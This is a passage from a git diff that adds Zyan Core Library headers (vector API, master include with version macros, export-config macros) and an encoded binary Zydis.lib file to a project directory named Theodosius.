instance. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param size The new size of the vector. + * @param initializer A pointer to a value to be used as initializer for new items. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorResizeEx(ZyanVector* vector, ZyanUSize size, + const void* initializer); + +/** + * Changes the capacity of the given `ZyanVector` instance. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param capacity The new minimum capacity of the vector. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorReserve(ZyanVector* vector, ZyanUSize capacity); + +/** + * Shrinks the capacity of the given vector to match it's size. + * + * @param vector A pointer to the `ZyanVector` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorShrinkToFit(ZyanVector* vector); + +/* ---------------------------------------------------------------------------------------------- */ +/* Information */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the current capacity of the vector. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param capacity Receives the size of the vector. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorGetCapacity(const ZyanVector* vector, ZyanUSize* capacity); + +/** + * Returns the current size of the vector. + * + * @param vector A pointer to the `ZyanVector` instance. + * @param size Receives the size of the vector. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanVectorGetSize(const ZyanVector* vector, ZyanUSize* size); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYCORE_VECTOR_H */ diff --git a/Theodosius/Zycore/Zycore.h b/Theodosius/Zycore/Zycore.h new file mode 100644 index 0000000..e136acf --- /dev/null +++ b/Theodosius/Zycore/Zycore.h @@ -0,0 +1,111 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Master include file, including everything else. + */ + +#ifndef ZYCORE_H +#define ZYCORE_H + +#include +#include + +// TODO: + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Macros */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Constants */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * A macro that defines the zycore version. + */ +#define ZYCORE_VERSION (ZyanU64)0x0001000000000000 + +/* ---------------------------------------------------------------------------------------------- */ +/* Helper macros */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Extracts the major-part of the zycore version. + * + * @param version The zycore version value + */ +#define ZYCORE_VERSION_MAJOR(version) (ZyanU16)((version & 0xFFFF000000000000) >> 48) + +/** + * Extracts the minor-part of the zycore version. + * + * @param version The zycore version value + */ +#define ZYCORE_VERSION_MINOR(version) (ZyanU16)((version & 0x0000FFFF00000000) >> 32) + +/** + * Extracts the patch-part of the zycore version. + * + * @param version The zycore version value + */ +#define ZYCORE_VERSION_PATCH(version) (ZyanU16)((version & 0x00000000FFFF0000) >> 16) + +/** + * Extracts the build-part of the zycore version. + * + * @param version The zycore version value + */ +#define ZYCORE_VERSION_BUILD(version) (ZyanU16)(version & 0x000000000000FFFF) + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/** + * Returns the zycore version. + * + * @return The zycore version. + * + * Use the macros provided in this file to extract the major, minor, patch and build part from the + * returned version value. + */ +ZYCORE_EXPORT ZyanU64 ZycoreGetVersion(void); + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYCORE_H */ diff --git a/Theodosius/ZycoreExportConfig.h b/Theodosius/ZycoreExportConfig.h new file mode 100644 index 0000000..f050d37 --- /dev/null +++ b/Theodosius/ZycoreExportConfig.h @@ -0,0 +1,42 @@ + +#ifndef ZYCORE_EXPORT_H +#define ZYCORE_EXPORT_H + +#ifdef ZYCORE_STATIC_DEFINE +# define ZYCORE_EXPORT +# define ZYCORE_NO_EXPORT +#else +# ifndef ZYCORE_EXPORT +# ifdef Zycore_EXPORTS + /* We are building this library */ +# define ZYCORE_EXPORT __declspec(dllexport) +# else + /* We are using this library */ +# define ZYCORE_EXPORT __declspec(dllimport) +# endif +# endif + +# ifndef ZYCORE_NO_EXPORT +# define ZYCORE_NO_EXPORT +# endif +#endif + +#ifndef ZYCORE_DEPRECATED +# define ZYCORE_DEPRECATED __declspec(deprecated) +#endif + +#ifndef ZYCORE_DEPRECATED_EXPORT +# define ZYCORE_DEPRECATED_EXPORT ZYCORE_EXPORT ZYCORE_DEPRECATED +#endif + +#ifndef ZYCORE_DEPRECATED_NO_EXPORT +# define ZYCORE_DEPRECATED_NO_EXPORT ZYCORE_NO_EXPORT ZYCORE_DEPRECATED +#endif + +#if 0 /* DEFINE_NO_DEPRECATED */ +# ifndef ZYCORE_NO_DEPRECATED +# define ZYCORE_NO_DEPRECATED +# endif +#endif + +#endif /* ZYCORE_EXPORT_H */ diff --git a/Theodosius/Zydis.lib b/Theodosius/Zydis.lib new file mode 100644 index 0000000000000000000000000000000000000000..42ca9b6ea787481fc0ea05c1b07649f5c936e96b GIT binary patch literal 1344336 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 